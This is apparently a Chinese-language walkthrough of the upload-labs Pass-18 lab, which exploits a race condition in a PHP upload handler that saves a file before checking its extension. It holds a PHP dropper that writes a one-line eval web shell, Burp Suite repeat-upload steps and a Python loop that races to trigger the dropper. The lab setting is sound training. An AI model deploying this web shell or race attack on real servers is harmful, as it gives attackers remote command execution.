文件上传 upload-labs Pass-18 条件竞争

Pass-18 条件竞争
审计源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

可以看到首先使用move_uploaded_file文件进行上传,然后进行后缀名判断,如果不满足.jpg|.png|.gif文件类型,直接删除
这里的漏洞就是我们的文件首先可以上传到服务区,服务器经过if语句判断是否删除文件
那么我们在服务器没有删除文件的时候,进行访问上传PHP文件上传PHP访问执行后会生成一个一句话木马文件
上传文件取名为create-shell.PHP

<?PHP fwrite(fopen('shell.PHP','w'),'<?PHP @eval($_POST[cmd]);?>');?>


首先我们使用burpsuite抓包,爆破模式一直上传文件



首先clear清楚所有变量


在末尾加入1,然后点击设置为变量


然后点击payload


然后点击Options,设置完点击Start attack为开始攻击,这里先展示不开始攻击


一个访问creat-shell.PHP文件,并判断shell.PHP是否已经生成python脚本
转载于:【upload-labs】条件竞争pass-17~pass-18

import requests
url1 = "http://ip/upload-labs/upload/create-shell.PHP"    # 定义访问 creat-shell.PHP
url2 = "http://ip/upload-labs/upload/shell.PHP"           # 定义访问 shell.PHP
while True:  # 定义死循环
	html1 = requests.get(url1)  # 请求 create-shell.PHP
	html2 = requests.get(url2)  # 请求 shell.PHP
	if html2.status_code == 200:  # 如果 shell.PHP 返回的http状态码为200
		print('Good job,Win Win Win')  # 打印 Good job.....
		break

相关文章

Centos系统之Shell编程基础知识
从Export理解Shell环境和变量生存期
linux shell数组变量、类型及规则
Centos编程Shell基本工作原理方案
Centos操作系统编程之Shell 问答录
rsync-linux备份脚本